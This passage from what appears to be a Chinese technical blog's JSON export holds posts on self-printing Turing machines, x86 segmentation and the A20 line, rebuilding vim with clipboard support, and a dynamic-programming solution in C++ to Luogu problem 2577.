那么，我们就可以有一台图灵机M，其由图灵机p、q组成，其中，p=ab，那么，这台图灵机会在q运行完后，在纸带上留下`w<p><q><b>` 。然后，将控制权转给图灵机b，其执行其他计算。从而，我们的这台图灵机M其不仅仅打印出自身，还实现了图灵机b的功能。\n","content":"<ul>\n<li><p>以下是<em>Introduction to The Theory of Computation</em> 英文第三版的Lemma6.1、Theory6.3的个人理解 </p>\n</li>\n<li><p>下文中，<code><p></code> 代表图灵机p的编码</p>\n</li>\n</ul>\n<ul>\n<li>首先，根据Lemma6.1，可以有一台通用机器q，其对于任意w，打印出“输出该w的图灵机”的编码——不过并不保证这台被打印出的图灵机就是那一台生成该w的图灵机——生成w的图灵机可以有很多台，q只打印出其中一台</li>\n<li>然后，利用上面这个东西，就可以<strong>特殊构造</strong>某机器p，其输出w，并且该机器的编码就是q输出的图灵机的编码。从而使得q从p的输出w可以反推出p本身</li>\n<li>然后，再特殊一点，这台p输出的w刚好就是q的编码——这是可以做到的，因为q是一台已经确定的，独立于p的图灵机。那么，q的输出+p的输出就刚好是<code><p><q></code> ——从而，q与p组合起来的图灵机就是一台打印出自身的图灵机</li>\n<li>继续扩展，p可以有多部分构成，使得p和q组合起来的机器不仅仅打印出自身，还可以做其他事情。比如说，p=ab，其中a是打印出<code><q><b></code> 的图灵机，b是做其他事情的图灵机。然后，图灵机q就可以打印出图灵机p。如果把他们的输出组合起来就成了<code><p><q><b></code> 。当图灵机a、图灵机q运行完之后，纸带上就有了<code><p><q><b></code> 。consider that，必然是p先运行，在纸带上留下自己的输出，然后才能q运行，从纸带上获得p的输出，来产生出<code><p></code> 。可以修改q，使得其运行后，把控制权交给图灵机b，然后图灵机b从纸带上获得<code><p><q><b></code> ，继续执行计算。</li>\n<li>上文说的转交控制权的可以这样实现——根据图灵机b定制图灵机q，使得q的accept状态后读入空串到达图灵机b的其实状态。这时候，图灵机q的编码将依赖于图灵机b。</li>\n<li>更进一步，再修改图灵机q，其不是使用图灵机p的所有输出，而是使用图灵机p的一部分输出来构造出<code><p></code> ，那么，图灵机p就不仅仅可以输出图灵机q的描述，还可以在纸带上留下w（w与<code><p><q></code> 无关）。</li>\n<li>那么，我们就可以有一台图灵机M，其由图灵机p、q组成，其中，p=ab，那么，这台图灵机会在q运行完后，在纸带上留下<code>w<p><q><b></code> 。然后，将控制权转给图灵机b，其执行其他计算。从而，我们的这台图灵机M其不仅仅打印出自身，还实现了图灵机b的功能。</li>\n</ul>\n","slug":"打印自身的图灵机的构造","categories":[{"name":"计算理论","slug":"计算理论","permalink":"https://h-zex.github.io/categories/计算理论/"}],"tags":[{"name":"图灵机","slug":"图灵机","permalink":"https://h-zex.github.io/tags/图灵机/"}]},{"title":"Segmentation 分段","date":"2018-06-30T05:09:58.000Z","path":"2018/06/30/Segmentation-分段/","text":"以下内容是对mit6.828 xv6book、pcasm-book、cmu 15-410关于segment的doc的整理 xv6book, PC Assembly Language, CMU-15-410 segment 在分段中，寻址使用的是一个 <selector, offset> 的pair real mode selector 保存在segment register，这是一个paragraph number。 内存单元常常以多个byte为单元一起使用，比如，两个byte是word，4个是double word，8个是quad word，16个则是paragraph segmentation hardware（也就是那个进行段转换的机构）直接把selector的值乘以16然后加上offset的值得到physical address 16-bit protected mode selector 同样保存在segment register中，不过现在不是单纯的paragraph number，而是包含一组信息：a segment number, a table selector flag, a request privilege level。 segment number是到GDT（global decriptor table）或者LDT（local decriptor table）的index（数组下标称为array index，所以这个index就是类似数组下标的东西）。 table selector flag指示的是segment number使用的是GDT还是LDT的index RPL（request privilege level）对于不同的段寄存器有不同的含义。对于cs寄存器，RPL设置处理器的特权级 In this case (the %CS register), the RPL sets the privilege level of the processor 不过，在mit 6.828的那本xv6book的Appendix B中有一幅图 其中使用16bit的selector直接作为GDT/LDT的index，所以，这地方有一些疑点 GDT/LDT的descriptor包含base address、size和一些flag bits、privilege level，当访问内存时，处理器将offset与size相比较，如果offset>= size ，则是越界访问。如果是合法的访问，则base address + offset得到 linear address 32-bit protected mode 80386 引入了32-bit protected mode，这个模式相对于16-bit的保护模式有两个区别——offset现在是32bit，segment 现在被切分成4K-sized 的unit，称为page。 解释一下整个地址转换流程。logical address（或者叫 virtual address） 就是<selector, offset> ，linear address就是selector 和 offset 经过segment translation 转换后得到的地址。如果没有开paging hardware，那么，linear address就直接作为physical address使用。如果有，则要查页表 题外话 可以使用一些方法使得分段实际上跟没有起作用一样。 比如，所有的descriptor中base address都是0x00000000，size都是0xFFFFFFFF（假设是在32位的机器上），那么，segment translation的越界检查、$offset+base size * 16$ 实际上等价于无用功。所以看起来跟flat address space一样的 在xv6的boot过程中，实际上paging hardware、segmentation hardware并没有起作用 The boot loader does not enable the paging hardware; the logical addresses that it uses are translated to linear addresses by the segmentation harware, and then used directly as physical addresses. Xv6 configures the segmentation hardware to translate logical to linear addresses without change, so that they are always equal. 逻辑地址segmen:offset 可以得出21bit的physical address（0xffff0+0xffff=0x10ffef），但是intel 8088把第21bit直接丢掉。所以为了兼容性，虽然后面的intel cpu可以支持21bit的地址，IBM还是提供了一个向后兼容。A20 Line wiki If the second bit of the keyboard controller’s output port is low, the 21st physical address bit is always cleared; if high, the 21st bit acts normally. The boot loader must enable the 21st address bit using I/O to the keyboard controller on ports 0x64 and 0x60The traditional method for A20 line enabling is to directly probe the keyboard controller. The reason for this is that Intel’s 8042 keyboard controller had a spare pin which they decided to route the A20 line through. This seems foolish now given their unrelated nature, but at the time computers weren’t quite so standardized. Keyboard controllers are usually derivatives of the 8042 chip. By programming that chip accurately, you can either enable or disable bit #20 on the address bus.When your PC boots, the A20 gate is always disabled, but some BIOSes do enable it for you, as do some high-memory managers (HIMEM.SYS) or bootloaders (GRUB).","raw":"---\ntitle: Segmentation 分段\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-06-30 13:09:58\ntags:\n- MIT 6.828\n- OS\ndescription: MIT 6.828, CMU 15-410 关于segmentation的资料的整理\ncategories:\n- OS\n---\n\n> 以下内容是对mit6.828 xv6book、pcasm-book、cmu 15-410关于segment的doc的整理\n>\n> [xv6book](https://pdos.csail.mit.edu/6.828/2017/xv6/book-rev10.pdf), [PC Assembly Language](https://pdos.csail.mit.edu/6.828/2017/readings/pcasm-book.pdf), [CMU-15-410 segment ](https://www.cs.cmu.edu/~410/doc/segments/segments.html)\n\n> 在分段中，寻址使用的是一个 `<selector, offset>` 的pair\n\n#### real mode\n\n- selector 保存在segment register，这是一个paragraph number。\n\n- > 内存单元常常以多个byte为单元一起使用，比如，两个byte是word，4个是double word，8个是quad word，16个则是paragraph\n\n- segmentation hardware（也就是那个进行段转换的机构）直接把selector的值乘以16然后加上offset的值得到physical address\n\n#### 16-bit protected mode\n\n- selector 同样保存在segment register中，不过现在不是单纯的paragraph number，而是包含一组信息：a segment number, a table selector flag, a request privilege level。 \n {% asset_img 1.gif %}\n\n segment number是到GDT（global decriptor table）或者LDT（local decriptor table）的index（数组下标称为array index，所以这个index就是类似数组下标的东西）。\n\n table selector flag指示的是segment number使用的是GDT还是LDT的index\n\n RPL（request privilege level）对于不同的段寄存器有不同的含义。对于cs寄存器，RPL设置处理器的特权级\n\n > In this case (the %CS register), the RPL sets the privilege level of the processor\n\n 不过，在mit 6.828的那本xv6book的Appendix B中有一幅图\n\n {% asset_img 2.png %}\n\n 其中使用16bit的selector直接作为GDT/LDT的index，所以，这地方有一些疑点\n\n- GDT/LDT的descriptor包含base address、size和一些flag bits、privilege level，当访问内存时，处理器将offset与size相比较，如果offset>= size ，则是越界访问。如果是合法的访问，则base address + offset得到 linear address\n\n#### 32-bit protected mode\n\n- 80386 引入了32-bit protected mode，这个模式相对于16-bit的保护模式有两个区别——offset现在是32bit，segment 现在被切分成4K-sized 的unit，称为page。\n\n- 解释一下整个地址转换流程。logical address（或者叫 virtual address） 就是`<selector, offset>` ，linear address就是selector 和 offset 经过segment translation 转换后得到的地址。如果没有开paging hardware，那么，linear address就直接作为physical address使用。如果有，则要查页表\n\n {% asset_img 3.png %}\n\n#### 题外话\n\n- 可以使用一些方法使得分段实际上跟没有起作用一样。\n\n- 比如，所有的descriptor中base address都是0x00000000，size都是0xFFFFFFFF（假设是在32位的机器上），那么，segment translation的越界检查、$offset+base size * 16$ 实际上等价于无用功。所以看起来跟flat address space一样的\n\n- 在xv6的boot过程中，实际上paging hardware、segmentation hardware并没有起作用\n\n > The boot loader does not enable the paging hardware; the logical addresses that it uses are translated to linear addresses by the segmentation harware, and then used directly as physical addresses. Xv6 configures the segmentation hardware to translate logical to linear addresses without change, so that they are always equal.\n\n- 逻辑地址segmen:offset 可以得出21bit的physical address（0xffff0+0xffff=0x10ffef），但是intel 8088把第21bit直接丢掉。所以为了兼容性，虽然后面的intel cpu可以支持21bit的地址，IBM还是提供了一个向后兼容。[A20 Line wiki](https://wiki.osdev.org/A20_Line)\n > If the second bit of the keyboard controller’s output port is low, the 21st physical address bit is always cleared; if high, the 21st bit acts normally. The boot loader must enable the 21st address bit using I/O to the keyboard controller on ports 0x64 and 0x60 \n > The traditional method for A20 line enabling is to directly probe the keyboard controller. The reason for this is that Intel's 8042 keyboard controller had a spare pin which they decided to route the A20 line through. This seems foolish now given their unrelated nature, but at the time computers weren't quite so standardized. Keyboard controllers are usually derivatives of the 8042 chip. By programming that chip accurately, you can either enable or disable bit #20 on the address bus.\n > When your PC boots, the A20 gate is always disabled, but some BIOSes do enable it for you, as do some high-memory managers (HIMEM.SYS) or bootloaders (GRUB).\n\n","content":"<blockquote>\n<p>以下内容是对mit6.828 xv6book、pcasm-book、cmu 15-410关于segment的doc的整理</p>\n<p><a href=\"https://pdos.csail.mit.edu/6.828/2017/xv6/book-rev10.pdf\" target=\"_blank\" rel=\"noopener\">xv6book</a>, <a href=\"https://pdos.csail.mit.edu/6.828/2017/readings/pcasm-book.pdf\" target=\"_blank\" rel=\"noopener\">PC Assembly Language</a>, <a href=\"https://www.cs.cmu.edu/~410/doc/segments/segments.html\" target=\"_blank\" rel=\"noopener\">CMU-15-410 segment </a></p>\n</blockquote>\n<blockquote>\n<p>在分段中，寻址使用的是一个 <code><selector, offset></code> 的pair</p>\n</blockquote>\n<h4 id=\"real-mode\"><a href=\"#real-mode\" class=\"headerlink\" title=\"real mode\"></a>real mode</h4><ul>\n<li><p>selector 保存在segment register，这是一个paragraph number。</p>\n</li>\n<li><blockquote>\n<p>内存单元常常以多个byte为单元一起使用，比如，两个byte是word，4个是double word，8个是quad word，16个则是paragraph</p>\n</blockquote>\n</li>\n<li><p>segmentation hardware（也就是那个进行段转换的机构）直接把selector的值乘以16然后加上offset的值得到physical address</p>\n</li>\n</ul>\n<h4 id=\"16-bit-protected-mode\"><a href=\"#16-bit-protected-mode\" class=\"headerlink\" title=\"16-bit protected mode\"></a>16-bit protected mode</h4><ul>\n<li><p>selector 同样保存在segment register中，不过现在不是单纯的paragraph number，而是包含一组信息：a segment number, a table selector flag, a request privilege level。 </p>\n<img src=\"/2018/06/30/Segmentation-分段/1.gif\">\n<p>segment number是到GDT（global decriptor table）或者LDT（local decriptor table）的index（数组下标称为array index，所以这个index就是类似数组下标的东西）。</p>\n<p>table selector flag指示的是segment number使用的是GDT还是LDT的index</p>\n<p>RPL（request privilege level）对于不同的段寄存器有不同的含义。对于cs寄存器，RPL设置处理器的特权级</p>\n<blockquote>\n<p> In this case (the %CS register), the RPL sets the privilege level of the processor</p>\n</blockquote>\n<p>不过，在mit 6.828的那本xv6book的Appendix B中有一幅图</p>\n<img src=\"/2018/06/30/Segmentation-分段/2.png\">\n<p>其中使用16bit的selector直接作为GDT/LDT的index，所以，这地方有一些疑点</p>\n</li>\n<li><p>GDT/LDT的descriptor包含base address、size和一些flag bits、privilege level，当访问内存时，处理器将offset与size相比较，如果offset>= size ，则是越界访问。如果是合法的访问，则base address + offset得到 linear address</p>\n</li>\n</ul>\n<h4 id=\"32-bit-protected-mode\"><a href=\"#32-bit-protected-mode\" class=\"headerlink\" title=\"32-bit protected mode\"></a>32-bit protected mode</h4><ul>\n<li><p>80386 引入了32-bit protected mode，这个模式相对于16-bit的保护模式有两个区别——offset现在是32bit，segment 现在被切分成4K-sized 的unit，称为page。</p>\n</li>\n<li><p>解释一下整个地址转换流程。logical address（或者叫 virtual address） 就是<code><selector, offset></code> ，linear address就是selector 和 offset 经过segment translation 转换后得到的地址。如果没有开paging hardware，那么，linear address就直接作为physical address使用。如果有，则要查页表</p>\n<img src=\"/2018/06/30/Segmentation-分段/3.png\">\n</li>\n</ul>\n<h4 id=\"题外话\"><a href=\"#题外话\" class=\"headerlink\" title=\"题外话\"></a>题外话</h4><ul>\n<li><p>可以使用一些方法使得分段实际上跟没有起作用一样。</p>\n</li>\n<li><p>比如，所有的descriptor中base address都是0x00000000，size都是0xFFFFFFFF（假设是在32位的机器上），那么，segment translation的越界检查、$offset+base size * 16$ 实际上等价于无用功。所以看起来跟flat address space一样的</p>\n</li>\n<li><p>在xv6的boot过程中，实际上paging hardware、segmentation hardware并没有起作用</p>\n<blockquote>\n<p>The boot loader does not enable the paging hardware; the logical addresses that it uses are translated to linear addresses by the segmentation harware, and then used directly as physical addresses. Xv6 configures the segmentation hardware to translate logical to linear addresses without change, so that they are always equal.</p>\n</blockquote>\n</li>\n<li><p>逻辑地址segmen:offset 可以得出21bit的physical address（0xffff0+0xffff=0x10ffef），但是intel 8088把第21bit直接丢掉。所以为了兼容性，虽然后面的intel cpu可以支持21bit的地址，IBM还是提供了一个向后兼容。<a href=\"https://wiki.osdev.org/A20_Line\" target=\"_blank\" rel=\"noopener\">A20 Line wiki</a></p>\n<blockquote>\n<p>If the second bit of the keyboard controller’s output port is low, the 21st physical address bit is always cleared; if high, the 21st bit acts normally. The boot loader must enable the 21st address bit using I/O to the keyboard controller on ports 0x64 and 0x60<br>The traditional method for A20 line enabling is to directly probe the keyboard controller. The reason for this is that Intel’s 8042 keyboard controller had a spare pin which they decided to route the A20 line through. This seems foolish now given their unrelated nature, but at the time computers weren’t quite so standardized. Keyboard controllers are usually derivatives of the 8042 chip. By programming that chip accurately, you can either enable or disable bit #20 on the address bus.<br>When your PC boots, the A20 gate is always disabled, but some BIOSes do enable it for you, as do some high-memory managers (HIMEM.SYS) or bootloaders (GRUB).</p>\n</blockquote>\n</li>\n</ul>\n","slug":"Segmentation-分段","categories":[{"name":"OS","slug":"OS","permalink":"https://h-zex.github.io/categories/OS/"}],"tags":[{"name":"MIT 6.828","slug":"MIT-6-828","permalink":"https://h-zex.github.io/tags/MIT-6-828/"},{"name":"OS","slug":"OS","permalink":"https://h-zex.github.io/tags/OS/"}]},{"title":"vim 不支持系统剪切板的解决方案","date":"2018-06-05T07:15:31.000Z","path":"2018/06/05/vim不支持系统剪切板的解决方案/","text":"判断vim是否支持系统剪切板 在终端输入vim -version，如果clipboard 那一项是-clipboard ，以及xterm_clipboard 那一项是-xterm_clipboard ，说明并不支持。可以通过重新编译来解决 以下引用另一位博主的解决方案，原文地址 +clipboard +xterm_clipboard solution: –with-x –x-includes=/usr/include/X11 –x-libraries=/usr/lib/X11 You’ll need to install the appropriate X development library like xlib and xtst for --with-x to work. On ubuntu it should be enough to install libx11-dev and libxtst-dev., xlibs-dev and sudo apt-get build-dep vim-gtk 编译方法，在github vim 主页下载源码zip包，解压后进入第一层目录，执行 123456789101112./configure \\--enable-cscope \\--with-x --x-includes=/usr/include/X11 --x-libraries=/usr/lib/X11 \\--with-features=normal \\--enable-multibyte \\--enable-rubyinterp \\--enable-pythoninterp \\--with-python-config-dir=/usr/lib/python2.7/config-x86_64-linux-gnu \\--enable-perlinterp \\--enable-luainterp \\--enable-gui=gtk2 --enable-cscope --prefix=/usr make && sudo make install 上面的配置选项可以根据自己的需求修改 完成后可以在src/auto/config.log 查看log","raw":"---\ntitle: vim 不支持系统剪切板的解决方案\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-06-05 15:15:31\ntags:\n- vim\n- 系统剪切板\n- clipboard\n- xterm_clipboard\ndescription: vim 不支持系统剪切板的解决方案\ncategories:\n- 运维\n---\n\n### 判断vim是否支持系统剪切板\n\n- 在终端输入`vim -version`，如果`clipboard` 那一项是`-clipboard` ，以及`xterm_clipboard` 那一项是`-xterm_clipboard` ，说明并不支持。可以通过重新编译来解决\n\n- 以下引用另一位博主的解决方案，[原文地址](https://www.evernote.com/shard/s258/sh/8f17d13f-5040-45b4-a312-294ef7304fe5/c0c182567f72325da680fb38d66436ae)\n\n- > +clipboard +xterm_clipboard\n >\n > solution:\n >\n > --with-x --x-includes=/usr/include/X11 --x-libraries=/usr/lib/X11\n >\n > You'll need to install the appropriate X development library like `xlib` and `xtst` for `--with-x` to work. On ubuntu it should be enough to install `libx11-dev` and `libxtst-dev`., xlibs-dev\n >\n > and sudo apt-get build-dep vim-gtk \n\n- 编译方法，在github vim 主页下载源码zip包，解压后进入第一层目录，执行\n\n ```\n ./configure \\\n --enable-cscope \\\n --with-x --x-includes=/usr/include/X11 --x-libraries=/usr/lib/X11 \\\n --with-features=normal \\\n --enable-multibyte \\\n --enable-rubyinterp \\\n --enable-pythoninterp \\\n --with-python-config-dir=/usr/lib/python2.7/config-x86_64-linux-gnu \\\n --enable-perlinterp \\\n --enable-luainterp \\\n --enable-gui=gtk2 --enable-cscope --prefix=/usr\n make && sudo make install\n ```\n\n 上面的配置选项可以根据自己的需求修改\n\n 完成后可以在`src/auto/config.log` 查看log","content":"<h3 id=\"判断vim是否支持系统剪切板\"><a href=\"#判断vim是否支持系统剪切板\" class=\"headerlink\" title=\"判断vim是否支持系统剪切板\"></a>判断vim是否支持系统剪切板</h3><ul>\n<li><p>在终端输入<code>vim -version</code>，如果<code>clipboard</code> 那一项是<code>-clipboard</code> ，以及<code>xterm_clipboard</code> 那一项是<code>-xterm_clipboard</code> ，说明并不支持。可以通过重新编译来解决</p>\n</li>\n<li><p>以下引用另一位博主的解决方案，<a href=\"https://www.evernote.com/shard/s258/sh/8f17d13f-5040-45b4-a312-294ef7304fe5/c0c182567f72325da680fb38d66436ae\" target=\"_blank\" rel=\"noopener\">原文地址</a></p>\n</li>\n<li><blockquote>\n<p>+clipboard +xterm_clipboard</p>\n<p>solution:</p>\n<p>–with-x –x-includes=/usr/include/X11 –x-libraries=/usr/lib/X11</p>\n<p>You’ll need to install the appropriate X development library like <code>xlib</code> and <code>xtst</code> for <code>--with-x</code> to work. On ubuntu it should be enough to install <code>libx11-dev</code> and <code>libxtst-dev</code>., xlibs-dev</p>\n<p>and sudo apt-get build-dep vim-gtk </p>\n</blockquote>\n</li>\n<li><p>编译方法，在github vim 主页下载源码zip包，解压后进入第一层目录，执行</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">./configure \\</span><br><span class=\"line\">--enable-cscope \\</span><br><span class=\"line\">--with-x --x-includes=/usr/include/X11 --x-libraries=/usr/lib/X11 \\</span><br><span class=\"line\">--with-features=normal \\</span><br><span class=\"line\">--enable-multibyte \\</span><br><span class=\"line\">--enable-rubyinterp \\</span><br><span class=\"line\">--enable-pythoninterp \\</span><br><span class=\"line\">--with-python-config-dir=/usr/lib/python2.7/config-x86_64-linux-gnu \\</span><br><span class=\"line\">--enable-perlinterp \\</span><br><span class=\"line\">--enable-luainterp \\</span><br><span class=\"line\">--enable-gui=gtk2 --enable-cscope --prefix=/usr</span><br><span class=\"line\"> make && sudo make install</span><br></pre></td></tr></table></figure>\n<p>上面的配置选项可以根据自己的需求修改</p>\n<p>完成后可以在<code>src/auto/config.log</code> 查看log</p>\n</li>\n</ul>\n","slug":"vim不支持系统剪切板的解决方案","categories":[{"name":"运维","slug":"运维","permalink":"https://h-zex.github.io/categories/运维/"}],"tags":[{"name":"vim","slug":"vim","permalink":"https://h-zex.github.io/tags/vim/"},{"name":"系统剪切板","slug":"系统剪切板","permalink":"https://h-zex.github.io/tags/系统剪切板/"},{"name":"clipboard","slug":"clipboard","permalink":"https://h-zex.github.io/tags/clipboard/"},{"name":"xterm_clipboard","slug":"xterm-clipboard","permalink":"https://h-zex.github.io/tags/xterm-clipboard/"}]},{"title":"洛谷2577 午餐","date":"2018-05-20T00:20:06.000Z","path":"2018/05/20/洛谷2577-午餐/","text":"题目题目描述上午的训练结束了，THU ACM小组集体去吃午餐，他们一行N人来到了著名的十食堂。这里有两个打饭的窗口，每个窗口同一时刻只能给一个人打饭。由于每个人的口味（以及胃口）不同，所以他们要吃的菜各有不同，打饭所要花费的时间是因人而异的。另外每个人吃饭的速度也不尽相同，所以吃饭花费的时间也是可能有所不同的。 THU ACM小组的吃饭计划是这样的：先把所有的人分成两队，并安排好每队中各人的排列顺序，然后一号队伍到一号窗口去排队打饭，二号队伍到二号窗口去排队打饭。每个人打完饭后立刻开始吃，所有人都吃完饭后立刻集合去六教地下室进行下午的训练。 现在给定了每个人的打饭时间和吃饭时间，要求安排一种最佳的分队和排队方案使得所有人都吃完饭的时间尽量早。 假设THU ACM小组在时刻0到达十食堂，而且食堂里面没有其他吃饭的同学（只有打饭的师傅）。每个人必须而且只能被分在一个队伍里。两个窗口是并行操作互不影响的，而且每个人打饭的时间是和窗口无关的，打完饭之后立刻就开始吃饭，中间没有延迟。 现在给定N个人各自的打饭时间和吃饭时间，要求输出最佳方案下所有人吃完饭的时刻。 输入输出格式输入格式： 第一行一个整数N，代表总共有N个人。 以下N行，每行两个整数 Ai，Bi。依次代表第i个人的打饭时间和吃饭时间。 输出格式： 一个整数T，代表所有人吃完饭的最早时刻。 输入输出样例输入样例#1： 12345652 27 71 36 48 5 输出样例#1： 117 题解吃饭时间越长越早排队 假设有一个最优分组方法，其中第一队内是按吃饭时间长短排序的——越长排在越前。然后尝试交换该队内的某两个人，i、j ——即原先是i 排在j 前面，并且两人各自的吃饭时间$b[j]<b[i]$，现在交换过来 首先，交换前从队头到到j 总的打饭时间或者是交换后从队头到i 的总的打饭时间都是$T$ 然后以前$T$时间后，j 开始吃饭，现在是$T$时间后，i 开始吃饭。如果以前最终吃饭完成的时间是$T+b[j]$ （$b[j]$ 是j 的吃饭时间），那么现在就是$T+b[i]>T+b[j]$ 。如果以前最终吃饭完成时间比$T+b[j]$ 后，那么现在最终吃饭完成时间就大于或者等于$T+b[i]$ 如何记录状态以及状态转移方程 $dp[i][j][k]$ ：表示当排到第i 个人时，第一队的排队耗时是j ，第二队的排队耗时是k 先定义符号，$man[i].a$ 表示第i 人的打饭时间，$man[i].b$ 是第i 人的吃饭时间，$sum[x]=\\Sigma_{i=0}^x man[i].a$ 因为，对于确定的i ，$k=sum[i]-j$ ，所以，$dp[i][j][k]=dp[i][j][sum[i]-j]$ 123int x = MAX(dp[i-1][j-man[i].a][k], j+man[i].b);int y = MAX(dp[i-1][j][k-man[i].a], k+man[i].b);dp[i][j][k] = dp[i][j][sum[i]-j] = MIN(x, y); 之所以要取MAX，是因为$dp[i-1][j-man[i].a][k]$ 可能是第一队达到的最长吃饭完成时间，也可能是第二队达到的，而即使是第一队达到的，也有可能现在第一队最后一个吃完的时间$j+man[i].b$ 比$dp[i-1][j-man[i].a][k]$ 早，所以要取MAX 因为无需枚举k ，所以无需使用三维数组。并且可以使用滚动数组，从而压缩为一维数组 代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#include <algorithm>#include <cassert>#include <cstdio>#include <cstdlib>#include <cstring>#include <iostream>#include <map>#include <queue>#include <vector>#define FWD(x, b, e) for (int x = b; x < e; x++)#define BWD(x, b, e) for (int x = b; x >= e; x--)#define INF 0x3f3f3f3fusing namespace std;inline int MAX(int x, int y) { return x < y ? y : x; }inline int MIN(int x, int y) { return x < y ? x : y; }struct Node { int a, b;// a is pick time, b is eat time bool operator<(const Node &y) const { return this->b > y.b; }};Node man[300];int dp[80010];int sum[300];int main() { int n; scanf(\"%d\", &n); for (int i = 0; i < n; i++) { scanf(\"%d%d\", &man[i].a, &man[i].b); } sort(man, man + n); sum[0] = man[0].a; FWD(i, 1, n) { sum[i] = sum[i - 1] + man[i].a; } memset(dp, 10, sizeof(dp)); dp[0] = man[0].b + man[0].a; dp[man[0].a] = man[0].b + man[0].a; FWD(i, 1, n) { BWD(j, sum[i], 0) { int tmp1 = INF, tmp2 = INF; if (j >= man[i].a) { tmp1 = MAX(dp[j - man[i].a], j + man[i].b);// 第一个人放在1队 } if (sum[i] - j >= man[i].a) { tmp2 = MAX(dp[j], sum[i] - j + man[i].b);// 第i个人放在二队 } // 如果j只能允许man[i].a放在一队，则i就放一队 if (j >= man[i].a && sum[i] - j < man[i].a) { dp[j] = tmp1; }else if (j < man[i].a && sum[i] - j >= man[i].a) { dp[j] = tmp2; }else if (j >= man[i].a && sum[i] - j >= man[i].a) { dp[j] = MIN(tmp2, tmp1); } } } int ans = INF; FWD(i, 0, sum[n - 1] + 1) { ans = ans < dp[i] ? ans : dp[i]; } printf(\"%d\\n\", ans);} 注意，在枚举$dp[i][j]$ 的j 时，要注意该j 是否允许man[i].a 放在第一队，或者会放在第二队，所以，给$dp[i][j]$ 赋值时也要注意是否只能放在其中一队，从而直接赋值就行了，如果能放在其中两队，那么就要取MIN 注意，此题初始化时不可以把从$man[i].a+1$ 到$sum[n-1]$ 的dp都赋值为$man[i].a+man[i].b$ ，而应该赋值为INF。因为后面进行dp时，枚举$j$ 时，可能出现一种情况$j<man[i].a$ 导致这个j时不可以放在第一队，并且$sum[i]-j<man[i].a$ 导致也不可以放在第二队，这种情况就应该INF。 此题如果使用自顶向下应该可以节省一些冗余状态——就是直接把上面的循环改成尾递归 截图来源","raw":"---\ntitle: 洛谷2577 午餐\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-05-20 08:20:06\ntags: \n- 动态规划\n- ACM\ndescription: 题解\ncategories:\n- 算法\n---\n\n## 题目\n\n#### 题目描述\n\n上午的训练结束了，THU ACM小组集体去吃午餐，他们一行N人来到了著名的十食堂。这里有两个打饭的窗口，每个窗口同一时刻只能给一个人打饭。由于每个人的口味（以及胃口）不同，所以他们要吃的菜各有不同，打饭所要花费的时间是因人而异的。另外每个人吃饭的速度也不尽相同，所以吃饭花费的时间也是可能有所不同的。\n\nTHU ACM小组的吃饭计划是这样的：先把所有的人分成两队，并安排好每队中各人的排列顺序，然后一号队伍到一号窗口去排队打饭，二号队伍到二号窗口去排队打饭。每个人打完饭后立刻开始吃，所有人都吃完饭后立刻集合去六教地下室进行下午的训练。\n\n现在给定了每个人的打饭时间和吃饭时间，要求安排一种最佳的分队和排队方案使得所有人都吃完饭的时间尽量早。\n\n假设THU ACM小组在时刻0到达十食堂，而且食堂里面没有其他吃饭的同学（只有打饭的师傅）。每个人必须而且只能被分在一个队伍里。两个窗口是并行操作互不影响的，而且每个人打饭的时间是和窗口无关的，打完饭之后立刻就开始吃饭，中间没有延迟。\n\n现在给定N个人各自的打饭时间和吃饭时间，要求输出最佳方案下所有人吃完饭的时刻。\n\n#### 输入输出格式\n\n输入格式：\n\n第一行一个整数N，代表总共有N个人。\n\n以下N行，每行两个整数 Ai，Bi。依次代表第i个人的打饭时间和吃饭时间。\n\n输出格式：\n\n一个整数T，代表所有人吃完饭的最早时刻。\n\n#### 输入输出样例\n\n输入样例#1：\n\n```\n5\n2 2\n7 7\n1 3\n6 4\n8 5\n\n```\n\n输出样例#1：\n\n```\n17\n```\n\n## 题解\n\n#### 吃饭时间越长越早排队\n\n- 假设有一个最优分组方法，其中第一队内是按吃饭时间长短排序的——越长排在越前。然后尝试交换该队内的某两个人，`i`、`j` ——即原先是`i` 排在`j` 前面，并且两人各自的吃饭时间$b[j]<b[i]$，现在交换过来\n- 首先，交换前从队头到到`j` 总的打饭时间或者是交换后从队头到`i` 的总的打饭时间都是$T$\n- 然后以前$T$时间后，`j` 开始吃饭，现在是$T$时间后，`i` 开始吃饭。如果以前最终吃饭完成的时间是$T+b[j]$ （$b[j]$ 是`j` 的吃饭时间），那么现在就是$T+b[i]>T+b[j]$ 。如果以前最终吃饭完成时间比$T+b[j]$ 后，那么现在最终吃饭完成时间就大于或者等于$T+b[i]$ \n\n#### 如何记录状态以及状态转移方程\n\n- $dp[i][j][k]$ ：表示当排到第`i` 个人时，第一队的排队耗时是`j` ，第二队的排队耗时是`k` \n\n- 先定义符号，$man[i].a$ 表示第`i` 人的打饭时间，$man[i].b$ 是第`i` 人的吃饭时间，$sum[x]=\\Sigma_{i=0}^x man[i].a$\n\n- 因为，对于确定的`i` ，$k=sum[i]-j$ ，所以，$dp[i][j][k]=dp[i][j][sum[i]-j]$ \n\n- ```cpp\n int x = MAX(dp[i-1][j-man[i].a][k], j+man[i].b);\n int y = MAX(dp[i-1][j][k-man[i].a], k+man[i].b);\n dp[i][j][k] = dp[i][j][sum[i]-j] = MIN(x, y);\n ```\n\n- 之所以要取MAX，是因为$dp[i-1][j-man[i].a][k]$ 可能是第一队达到的最长吃饭完成时间，也可能是第二队达到的，而即使是第一队达到的，也有可能现在第一队最后一个吃完的时间$j+man[i].b$ 比$dp[i-1][j-man[i].a][k]$ 早，所以要取MAX\n\n- 因为无需枚举`k` ，所以无需使用三维数组。并且可以使用滚动数组，从而压缩为一维数组\n\n## 代码\n\n```cpp\n#include <algorithm>\n#include <cassert>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <vector>\n#define FWD(x, b, e) for (int x = b; x < e; x++)\n#define BWD(x, b, e) for (int x = b; x >= e; 